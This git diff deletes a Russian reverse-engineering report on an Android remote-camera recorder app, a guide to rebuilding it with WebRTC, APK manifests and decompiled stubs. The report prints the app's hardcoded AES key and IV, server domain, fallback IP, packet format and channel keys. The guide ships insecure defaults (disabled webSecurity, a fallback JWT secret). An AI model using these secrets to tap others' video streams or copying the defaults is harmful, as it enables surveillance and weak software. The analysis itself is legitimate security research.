io.to(data.to).emit('webrtc-ice-candidate', { from: socket.id, candidate: data.candidate }); - }); -}); - -server.listen(3000, () => console.log('Signaling server running on port 3000')); -``` - -### 1.3 Docker конфигурация - -```dockerfile -# Dockerfile -FROM node:18-alpine -WORKDIR /app -COPY package*.json ./ -RUN npm ci --only=production -COPY . . -RUN npm run build -EXPOSE 3000 -CMD ["npm", "start"] -``` - -```yaml -# docker-compose.yml -version: '3.8' -services: - signaling: - build: . - ports: - - "3000:3000" - environment: - - REDIS_URL=redis://redis:6379 - depends_on: - - redis - - redis: - image: redis:7-alpine - ports: - - "6379:6379" - - nginx: - image: nginx:alpine - ports: - - "80:80" - - "443:443" - volumes: - - ./nginx.conf:/etc/nginx/nginx.conf - - ./ssl:/etc/nginx/ssl -``` - ---- - -## 📱 ЭТАП 2: ANDROID ПРИЛОЖЕНИЕ (KOTLIN) - -### 2.1 Создание проекта - -```kotlin -// build.gradle (Module: app) -dependencies { - implementation 'org.webrtc:google-webrtc:1.0.32006' - implementation 'io.socket:socket.io-client:2.0.0' - implementation 'com.squareup.retrofit2:retrofit:2.9.0' - implementation 'androidx.camera:camera-camera2:1.3.0' - implementation 'androidx.camera:camera-lifecycle:1.3.0' - implementation 'androidx.camera:camera-view:1.3.0' -} -``` - -### 2.2 WebRTC интеграция - -```kotlin -// WebRTCManager.kt -class WebRTCManager(private val context: Context) { - private var peerConnection: PeerConnection? = null - private var localVideoTrack: VideoTrack? = null - private var socket: Socket? = null - - fun initialize() { - // Инициализация PeerConnectionFactory - PeerConnectionFactory.initializeAndroidGlobals( - context, - true, - true, - true - ) - - val factory = PeerConnectionFactory.builder() - .createPeerConnectionFactory() - - // Настройка ICE серверов - val iceServers = listOf( - PeerConnection.IceServer.builder("stun:stun.l.google.com:19302").createIceServer() - ) - - peerConnection = factory.createPeerConnection( - PeerConnection.RTCConfiguration(iceServers), - object : PeerConnection.Observer { - override fun onIceCandidate(candidate: IceCandidate) { - sendIceCandidate(candidate) - } - // ... другие callbacks - } - ) - } - - fun startCapture() { - val videoCapturer = Camera2Enumerator(context).run { - deviceNames.firstOrNull()?.let { createCapturer(it, null) } - } - - val surfaceTextureHelper = SurfaceTextureHelper.create("CaptureThread", null) - val videoSource = factory.createVideoSource(false) - videoCapturer?.initialize(surfaceTextureHelper, context, videoSource.capturerObserver) - - localVideoTrack = factory.createVideoTrack("local_video", videoSource) - peerConnection?.addTrack(localVideoTrack, listOf("stream_id")) - } - - private fun sendIceCandidate(candidate: IceCandidate) { - socket?.emit("webrtc-ice-candidate", JSONObject().apply { - put("to", partnerId) - put("candidate", candidate.toJson()) - }) - } -} -``` - -### 2.3 Сигналинг клиент - -```kotlin -// SignalingClient.kt -class SignalingClient(private val serverUrl: String) { - private var socket: Socket? = null - private var webRTCManager: WebRTCManager? = null - - fun connect(channel: String) { - socket = IO.socket(serverUrl).apply { - on(Socket.EVENT_CONNECT) { - emit("join-channel", JSONObject().apply { - put("channel", channel) - put("type", "sender") - }) - } - - on("partner-found") { args -> - val data = args[0] as JSONObject - val partnerId = data.getString("partnerId") - createOffer(partnerId) - } - - on("webrtc-offer") { args -> - val data = args[0] as JSONObject - handleOffer(data) - } - - connect() - } - } - - private fun createOffer(partnerId: String) { - webRTCManager?.createOffer { offer -> - socket?.emit("webrtc-offer", JSONObject().apply { - put("to", partnerId) - put("offer", offer.toJson()) - }) - } - } -} -``` - ---- - -## 💻 ЭТАП 3: DESKTOP ПРИЛОЖЕНИЕ (ELECTRON) - -### 3.1 Инициализация проекта - -```bash -mkdir videoreader-desktop -cd videoreader-desktop -npm init -y -npm install electron react react-dom typescript -npm install simple-peer socket.io-client --save -``` - -### 3.2 WebRTC компонент - -```typescript -// src/components/VideoReceiver.tsx -import React, { useEffect, useRef, useState } from 'react'; -import io from 'socket.io-client'; -import SimplePeer from 'simple-peer'; - -interface VideoReceiverProps { - channel: string; - serverUrl: string; -} - -export const VideoReceiver: React.FC = ({ channel, serverUrl }) => { - const videoRef = useRef(null); - const [connected, setConnected] = useState(false); - const [peer, setPeer] = useState(null); - const socket = useRef(io(serverUrl)); - - useEffect(() => { - socket.current.emit('join-channel', { - channel, - type: 'receiver' - }); - - socket.current.on('partner-found', (data: { partnerId: string }) => { - const newPeer = new SimplePeer({ - initiator: false, - trickle: false - }); - - newPeer.on('signal', (signal) => { - socket.current.emit('webrtc-answer', { - to: data.partnerId, - answer: signal - }); - }); - - newPeer.on('stream', (stream) => { - if (videoRef.current) { - videoRef.current.srcObject = stream; - setConnected(true); - } - }); - - setPeer(newPeer); - }); - - socket.current.on('webrtc-offer', (data: { from: string; offer: any }) => { - if (peer) { - peer.signal(data.offer); - } - }); - - return () => { - socket.current.disconnect(); - peer?.destroy(); - }; - }, [channel, serverUrl, peer]); - - return ( -
-

Channel: {channel}

-
- {connected ? 'Connected' : 'Waiting for connection...'} -
-
- ); -}; -``` - -### 3.3 Главное окно Electron - -```typescript -// src/main.ts -import { app, BrowserWindow } from 'electron'; -import * as path from 'path'; - -function createWindow() { - const mainWindow = new BrowserWindow({ - width: 1200, - height: 800, - webPreferences: { - nodeIntegration: true, - contextIsolation: false, - webSecurity: false // Для разработки, в продакшене нужно настроить правильно - } - }); - - if (process.env.NODE_ENV === 'development') { - mainWindow.loadURL('http://localhost:3001'); - mainWindow.webContents.openDevTools(); - } else { - mainWindow.loadFile(path.join(__dirname, '../build/index.html')); - } -} - -app.whenReady().then(createWindow); -``` - ---- - -## 🔐 ЭТАП 4: БЕЗОПАСНОСТЬ - -### 4.1 Аутентификация пользователей - -```typescript -// auth/AuthService.ts -import jwt from 'jsonwebtoken'; -import bcrypt from 'bcrypt'; - -export class AuthService { - private static readonly JWT_SECRET = process.env.JWT_SECRET || 'your-secret-key'; - - static async hashPassword(password: string): Promise { - return bcrypt.hash(password, 12); - } - - static async verifyPassword(password: string, hash: string): Promise { - return bcrypt.compare(password, hash); - } - - static generateToken(userId: string): string { - return jwt.sign({ userId }, this.JWT_SECRET, { expiresIn: '24h' }); - } - - static verifyToken(token: string): any { - return jwt.verify(token, this.JWT_SECRET); - } -} -``` - -### 4.2 HTTPS и WSS - -```nginx -# nginx.conf -server { - listen 443 ssl http2; - server_name your-domain.com; - - ssl_certificate /etc/nginx/ssl/cert.pem; - ssl_certificate_key /etc/nginx/ssl/key.pem; - - location / { - proxy_pass http://signaling:3000; - proxy_http_version 1.1; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - } -} -``` - ---- - -## 📊 ЭТАП 5: МОНИТОРИНГ И МАСШТАБИРОВАНИЕ - -### 5.1 Логирование - -```typescript -// logger/Logger.ts -import winston from 'winston'; - -export const logger = winston.createLogger({ - level: 'info', - format: winston.format.combine( - winston.format.timestamp(), - winston.format.errors({ stack: true }), - winston.format.json() - ), - defaultMeta: { service: 'videoreader-signaling' }, - transports: [ - new winston.transports.File({ filename: 'error.log', level: 'error' }), - new winston.transports.File({ filename: 'combined.log' }), - new winston.transports.Console({ - format: winston.format.simple() - }) - ] -}); -``` - -### 5.2 Метрики - -```typescript -// metrics/Metrics.ts -import prometheus from 'prom-client'; - -export const metrics = { - connectionsTotal: new prometheus.Counter({ - name: 'connections_total', - help: 'Total number of connections' - }), - - activeConnections: new prometheus.Gauge({ - name: 'active_connections', - help: 'Number of active connections' - }), - - channelsActive: new prometheus.Gauge({ - name: 'channels_active', - help: 'Number of active channels' - }) -}; - -prometheus.register.registerMetric(metrics.connectionsTotal); -prometheus.register.registerMetric(metrics.activeConnections); -prometheus.register.registerMetric(metrics.channelsActive); -``` - ---- - -## 🚀 ДЕПЛОЙMENT - -### Kubernetes манифесты - -```yaml -# k8s/deployment.yaml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: videoreader-signaling -spec: - replicas: 3 - selector: - matchLabels: - app: videoreader-signaling - template: - metadata: - labels: - app: videoreader-signaling - spec: - containers: - - name: signaling - image: your-registry/videoreader-signaling:latest - ports: - - containerPort: 3000 - env: - - name: REDIS_URL - value: "redis://redis-service:6379" - - name: JWT_SECRET - valueFrom: - secretKeyRef: - name: app-secrets - key: jwt-secret -``` - ---- - -## 💡 РЕКОМЕНДАЦИИ ПО УЛУЧШЕНИЮ - -### 1. Производительность -- Использование WebRTC для P2P соединений -- CDN для статических файлов -- Load balancing для сигналинг серверов -- Redis Cluster для масштабирования - -### 2. Безопасность -- End-to-end шифрование -- Rate limiting -- DDoS защита -- Регулярные security аудиты - -### 3. Пользовательский опыт -- Progressive Web App (PWA) версия -- Адаптивный дизайн -- Офлайн режим -- Уведомления - -### 4. Мониторинг -- Grafana дашборды -- Alertmanager для уведомлений -- Jaeger для трейсинга -- ELK стек для логов - ---- - -## 📈 ПЛАН РАЗВИТИЯ - -### Версия 2.0 -- [ ] Групповые видеозвонки -- [ ] Запись и хранение видео -- [ ] AI анализ контента -- [ ] Мобильные push уведомления - -### Версия 3.0 -- [ ] Облачное хранилище -- [ ] API для интеграций -- [ ] Белый лейбл решение -- [ ] Международная локализация - ---- - -**🎯 РЕЗУЛЬТАТ:** Современная, безопасная и масштабируемая система видеонаблюдения с собственной инфраструктурой, готовая к продакшн использованию и дальнейшему развитию. \ No newline at end of file diff --git a/SECURITY_ANALYSIS_REPORT.md b/SECURITY_ANALYSIS_REPORT.md deleted file mode 100644 index 4038557..0000000 --- a/SECURITY_ANALYSIS_REPORT.md +++ /dev/null @@ -1,196 +0,0 @@ -# ДЕТАЛЬНЫЙ АНАЛИЗ СИСТЕМЫ VIDEOREADER - -**Дата анализа:** 9 октября 2025 г. -**Статус:** ✅ ПОЛНЫЙ АНАЛИЗ ЗАВЕРШЕН - ---- - -## 🎯 КРАТКОЕ РЕЗЮМЕ - -Обнаружена **система удаленного видеонаблюдения** состоящая из: -- **PC-клиент** (VideoReader.exe) - приемник видео -- **Android-приложение** (com.nvav.srv.recorder) - источник видео -- **Центральный сигналинг-сервер** (vidser.top) - координация подключений - -**⚠️ КРИТИЧНО:** Система использует жестко зашитые серверы третьих лиц! - ---- - -## 🌐 ОБНАРУЖЕННЫЕ СЕРВЕРНЫЕ ПОДКЛЮЧЕНИЯ - -### 1. Основной сигналинг сервер -``` -🔗 Домен: vidser.top -📍 IP получение: https://vidser.top/ip/get-ip-kr.php?port={canal} -🔌 Порт данных: 3033 TCP -📊 Фолбек IP: 158.247.241.191 -``` - -### 2. Детали подключения -- **PC приложение:** Получает IP через HTTP запрос к vidser.top -- **Android приложение:** Аналогично получает IP и подключается -- **Канал связи:** Номер канала (45-55) для идентификации пары устройств -- **Протокол:** Зашифрованный TCP с AES шифрованием - ---- - -## 🔐 КРИПТОГРАФИЧЕСКАЯ СИСТЕМА - -### Ключи шифрования (одинаковые в обеих платформах): -```csharp -// PC (C#) -keyByte = MD5("73!2#qweaSdzxc4r") -ivByte = MD5("0_=op[l:',./vf73") - -// Android (Java) - ИДЕНТИЧНО -keyByte = MD5("73!2#qweaSdzxc4r"); -ivByte = MD5("0_=op[l:',./vf73"); -``` - -### Алгоритм шифрования: -- **Алгоритм:** AES-128-CBC -- **Padding:** PKCS5/PKCS7 -- **Все данные** (кроме служебных) шифруются - ---- - -## 📡 ПРОТОКОЛ ВЗАИМОДЕЙСТВИЯ - -### Структура подключения: -1. **Получение IP адреса:** - - HTTP GET: `https://vidser.top/ip/get-ip-kr.php?port={channel}` - - Ответ: 4 байта - IP адрес в бинарном виде - -2. **TCP подключение к серверу:** - - **PC:** port 3033, первый байт = 0, второй байт = номер канала - - **Android:** port 3033, первый байт = 1, второй байт = номер канала - -### Формат пакетов: -``` -[1 байт: длина заголовка] [N байт: размер данных] [Зашифрованные данные] [1 байт: тип] -``` - -### Типы сообщений: -- **Тип 0:** Heartbeat/ping сообщения -- **Тип 2+:** Видеоданные и команды - ---- - -## 🏗️ АРХИТЕКТУРА СИСТЕМЫ - -``` -┌─────────────────┐ HTTPS ┌─────────────────┐ -│ PC Client │◄────────────┤ vidser.top │ -│ VideoReader │ Get IP │ Signaling │ -└─────────────────┘ │ Server │ - │ └─────────────────┘ - │ ▲ - │ TCP:3033 │ HTTPS - │ Channel:XX │ Get IP - │ Type:0 (receiver) │ - ▼ │ -┌─────────────────┐ ┌─────────────────┐ -│ Media Relay │ │ Android Client │ -│ Server │◄────────────┤ NVAV Recorder │ -│ (Unknown IP) │ TCP:3033 │ │ -└─────────────────┘ Channel:XX └─────────────────┘ - Type:1 (sender) -``` - ---- - -## 📱 ANDROID ПРИЛОЖЕНИЕ - ДЕТАЛИ - -### Пакет: `com.nvav.srv.recorder` - -### Основные классы: -- **`InOut.java`** - Сетевое взаимодействие (аналог InOutSocket.cs) -- **`MActivity.java`** - Главная активность -- **`ChenalC.java`** - Хранение номера канала -- **`ICameraRecord.java`** - Интерфейс записи камеры -- **`Camera*.java`** - Реализации для разных производителей - -### Каналы связи: -```java -static int[] chenals = {0, 55, 54, 53, 51, 49, 48, 52, 50, 47, 46, 45}; -static final String[] key_ch = {"0000", "1111", "533D", "9A32", "DC8F", - "1095", "4167", "2E43", "701B", "2BA9", - "2BB4", "1F0E"}; -``` - -### Функциональность: -- Запись видео с камеры -- Сжатие и шифрование -- Передача через TCP сокет -- Поддержка различных производителей Android устройств - ---- - -## 💻 PC ПРИЛОЖЕНИЕ - ДЕТАЛИ - -### Основные компоненты: -- **`Form1.cs`** (3941 строка) - Главная форма с UI -- **`InOutSocket.cs`** - Сетевой клиент -- **`Decoder.cs`** - Декодирование видео -- **`SaveVideo.cs`** - Сохранение на диск - -### Возможности: -- Прием зашифрованного видеопотока -- Декодирование через FFmpeg -- Отображение в реальном времени -- Сохранение записей -- Работа с QR-кодами (для настройки?) - ---- - -## ⚠️ УЯЗВИМОСТИ И РИСКИ - -### 🔴 Критические риски: -1. **Зависимость от внешнего сервера** (vidser.top) -2. **Жестко зашитые ключи шифрования** -3. **Отсутствие аутентификации пользователей** -4. **Нет проверки сертификатов SSL** - -### 🟡 Потенциальные проблемы: -1. Сервер может логировать все соединения -2. Отсутствие end-to-end шифрования между устройствами -3. Простой канальный алгоритм (подбор каналов) -4. Нет защиты от подключения посторонних - ---- - -## 🔧 ТЕХНИЧЕСКОЕ ЗАКЛЮЧЕНИЕ - -### Принцип работы: -1. Android устройство запускает приложение-рекордер -2. PC приложение запускается для просмотра -3. Оба получают IP медиа-сервера через vidser.top -4. Устанавливается прямое соединение через промежуточный сервер -5. Видеопоток передается в зашифрованном виде - -### Используемые технологии: -- **C# .NET Framework 4.7.2** (PC) -- **Java Android SDK** (мобильное) -- **FFmpeg** (кодирование/декодирование) -- **AES шифрование** -- **TCP сокеты** - ---- - -## 🚀 РЕКОМЕНДАЦИИ ПО УЛУЧШЕНИЮ - -### Немедленные действия: -1. **Заменить внешний сигналинг сервер** на собственный -2. **Реализовать динамические ключи** шифрования -3. **Добавить аутентификацию** пользователей -4. **Использовать TLS** для всех соединений - -### Архитектурные улучшения: -1. **WebRTC** вместо прямых TCP соединений -2. **P2P соединения** для снижения нагрузки на сервер -3. **Микросервисная архитектура** -4. **Kubernetes deployment** - ---- - -**📋 ИТОГ:** Система функциональна, но требует серьезной доработки для продакшн использования из-за критических зависимостей от внешних сервисов и слабой системы безопасности. \ No newline at end of file diff --git a/apk_3230/AndroidManifest.xml b/apk_3230/AndroidManifest.xml deleted file mode 100644 index 93560a0..0000000 Binary files a/apk_3230/AndroidManifest.xml and /dev/null differ diff --git a/apk_3230/META-INF/ALIAS_NA.RSA b/apk_3230/META-INF/ALIAS_NA.RSA deleted file mode 100644 index b67d4eb..0000000 Binary files a/apk_3230/META-INF/ALIAS_NA.RSA and /dev/null differ diff --git a/apk_3230/META-INF/ALIAS_NA.SF b/apk_3230/META-INF/ALIAS_NA.SF deleted file mode 100644 index 2c40d92..0000000 --- a/apk_3230/META-INF/ALIAS_NA.SF +++ /dev/null @@ -1,50 +0,0 @@ -Signature-Version: 1.0 -Created-By: 11.0.23 (Oracle Corporation) -SHA1-Digest-Manifest: PyQm4c/4CJw5gdvl9iKgE1F0BBg= -SHA1-Digest-Manifest-Main-Attributes: nTxcUp8aDr7RWsJNr96o/pS14VU= - -Name: res/drawable/off.png -SHA1-Digest: n+tRYJgVHvyen18zI9cxVtyvbXs= - -Name: AndroidManifest.xml -SHA1-Digest: QRBgQw6dktTxdmkUig2BLvqkGZM= - -Name: res/mipmap-mdpi/ic_launcher.png -SHA1-Digest: Uhw0jRwgk+fTj/AYEdj8UNcFqkY= - -Name: res/mipmap-xxxhdpi/ic_launcher.png -SHA1-Digest: e8uN1SE+kcGSwyibIjSKCmCoq/w= - -Name: res/mipmap-xhdpi/ic_launcher.png -SHA1-Digest: Z6Qi6+96OuGWqI7+xNFYgAjKQiI= - -Name: res/menu/main.xml -SHA1-Digest: bRAjF6FJ3CyxwsuadKCh7gsFH7s= - -Name: res/mipmap-xxhdpi/ic_launcher.png -SHA1-Digest: wcqbLIVkQH5zsCb/LaAxy/aK/LY= - -Name: res/xml/file_paths.xml -SHA1-Digest: a+YcYi42kJnKkmOYKv/w4tkYZ+E= - -Name: res/drawable/backr.xml -SHA1-Digest: gQhItawfloZid3xM2NcuC4il8Ok= - -Name: res/drawable/backrepeat.xml -SHA1-Digest: ZM0TlpmS8kD8J4sB+7dTOMmnyZE= - -Name: res/mipmap-hdpi/ic_launcher.png -SHA1-Digest: yeQhDTWYrI7EWRNPT3snM7Kme+0= - -Name: res/drawable/on.png -SHA1-Digest: v8MAv92QrBaPd6l44wAPvaRBkJU= - -Name: resources.arsc -SHA1-Digest: x8+fEl1C6JfjR2u8qQViZnI7Rfs= - -Name: classes.dex -SHA1-Digest: QAoMnkWbjl7F2MTEaDSfb3Bn9cM= - -Name: res/layout/activity.xml -SHA1-Digest: saBr45rqv5CCkyfxUzYjhiZU+8o= - diff --git a/apk_3230/META-INF/MANIFEST.MF b/apk_3230/META-INF/MANIFEST.MF deleted file mode 100644 index f09ce24..0000000 --- a/apk_3230/META-INF/MANIFEST.MF +++ /dev/null @@ -1,48 +0,0 @@ -Manifest-Version: 1.0 -Created-By: 11.0.23 (Oracle Corporation) - -Name: res/drawable/off.png -SHA1-Digest: WfJGvuZR+U5aafMxF0jdoGRtMH0= - -Name: AndroidManifest.xml -SHA1-Digest: 4E7+Juyahh1SFn78beB0PGtPF7M= - -Name: res/mipmap-mdpi/ic_launcher.png -SHA1-Digest: mu924oLEkh0Ge+5K7Y/Cptm7LrU= - -Name: res/mipmap-xxxhdpi/ic_launcher.png -SHA1-Digest: oIEe2h/6KQJnNN0gWllseDKO9bg= - -Name: res/mipmap-xhdpi/ic_launcher.png -SHA1-Digest: VK2EAgrKy27E85wwXHkxbUw2fOE= - -Name: res/menu/main.xml -SHA1-Digest: +ZpabgpxKArgRixrbU72Va8k1lQ= - -Name: res/mipmap-xxhdpi/ic_launcher.png -SHA1-Digest: Voma4uvDkccNCgcT3pSYVG5+zNQ= - -Name: res/xml/file_paths.xml -SHA1-Digest: VWg90kvCyHrBznNRVJ0FiXf9irg= - -Name: res/drawable/backr.xml -SHA1-Digest: LIg390T/znfbB2vIAFkv005agSI= - -Name: res/drawable/backrepeat.xml -SHA1-Digest: PQHLvM9mN6mDG9AsvYrMuV5KsZw= - -Name: res/mipmap-hdpi/ic_launcher.png -SHA1-Digest: apCQQ82LEC4g7a88ZDB+IhcW9bw= - -Name: res/drawable/on.png -SHA1-Digest: TmXEgKm3UEU3YNahIR5HXnNHrU4= - -Name: resources.arsc -SHA1-Digest: v6BanyAH9fo5vlQOxVatONMLC94= - -Name: classes.dex -SHA1-Digest: 4j9bklnsp29WDJ2BGDJ9hs23I34= - -Name: res/layout/activity.xml -SHA1-Digest: t/7vu8ha507YRwOquIGTJojkbbI= - diff --git a/apk_3230/apk_3230.iml b/apk_3230/apk_3230.iml deleted file mode 100644 index 8dd3622..0000000 --- a/apk_3230/apk_3230.iml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/apk_3230/classes.dex b/apk_3230/classes.dex deleted file mode 100644 index 707304a..0000000 Binary files a/apk_3230/classes.dex and /dev/null differ diff --git a/apk_3230/decompiled_source/sources/.idea/.gitignore b/apk_3230/decompiled_source/sources/.idea/.gitignore deleted file mode 100644 index 26d3352..0000000 --- a/apk_3230/decompiled_source/sources/.idea/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml diff --git a/apk_3230/decompiled_source/sources/.idea/caches/deviceStreaming.xml b/apk_3230/decompiled_source/sources/.idea/caches/deviceStreaming.xml deleted file mode 100644 index 8c409f0..0000000 --- a/apk_3230/decompiled_source/sources/.idea/caches/deviceStreaming.xml +++ /dev/null @@ -1,1209 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.agent.xml b/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.agent.xml deleted file mode 100644 index 4ea72a9..0000000 --- a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.agent.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - \ No newline at end of file diff --git a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.ask.xml b/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.ask.xml deleted file mode 100644 index 7ef04e2..0000000 --- a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.ask.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - \ No newline at end of file diff --git a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.ask2agent.xml b/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.ask2agent.xml deleted file mode 100644 index 1f2ea11..0000000 --- a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.ask2agent.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - \ No newline at end of file diff --git a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.edit.xml b/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.edit.xml deleted file mode 100644 index 8648f94..0000000 --- a/apk_3230/decompiled_source/sources/.idea/copilot.data.migration.edit.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - \ No newline at end of file diff --git a/apk_3230/decompiled_source/sources/.idea/misc.xml b/apk_3230/decompiled_source/sources/.idea/misc.xml deleted file mode 100644 index cf90582..0000000 --- a/apk_3230/decompiled_source/sources/.idea/misc.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/apk_3230/decompiled_source/sources/.idea/modules.xml b/apk_3230/decompiled_source/sources/.idea/modules.xml deleted file mode 100644 index d2529b5..0000000 --- a/apk_3230/decompiled_source/sources/.idea/modules.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/AnimRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/AnimRes.java deleted file mode 100644 index ec74462..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/AnimRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface AnimRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/AnimatorRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/AnimatorRes.java deleted file mode 100644 index e8f65bf..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/AnimatorRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface AnimatorRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/AnyRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/AnyRes.java deleted file mode 100644 index f47e5a2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/AnyRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface AnyRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/AnyThread.java b/apk_3230/decompiled_source/sources/android/support/annotation/AnyThread.java deleted file mode 100644 index a113503..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/AnyThread.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.CONSTRUCTOR, ElementType.TYPE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface AnyThread { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/ArrayRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/ArrayRes.java deleted file mode 100644 index 9ae11bd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/ArrayRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface ArrayRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/AttrRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/AttrRes.java deleted file mode 100644 index 2cb9271..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/AttrRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface AttrRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/BinderThread.java b/apk_3230/decompiled_source/sources/android/support/annotation/BinderThread.java deleted file mode 100644 index 27666bc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/BinderThread.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.CONSTRUCTOR, ElementType.TYPE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface BinderThread { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/BoolRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/BoolRes.java deleted file mode 100644 index 1f3bce1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/BoolRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface BoolRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/CallSuper.java b/apk_3230/decompiled_source/sources/android/support/annotation/CallSuper.java deleted file mode 100644 index d5a09c3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/CallSuper.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface CallSuper { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/CheckResult.java b/apk_3230/decompiled_source/sources/android/support/annotation/CheckResult.java deleted file mode 100644 index abd06e8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/CheckResult.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import 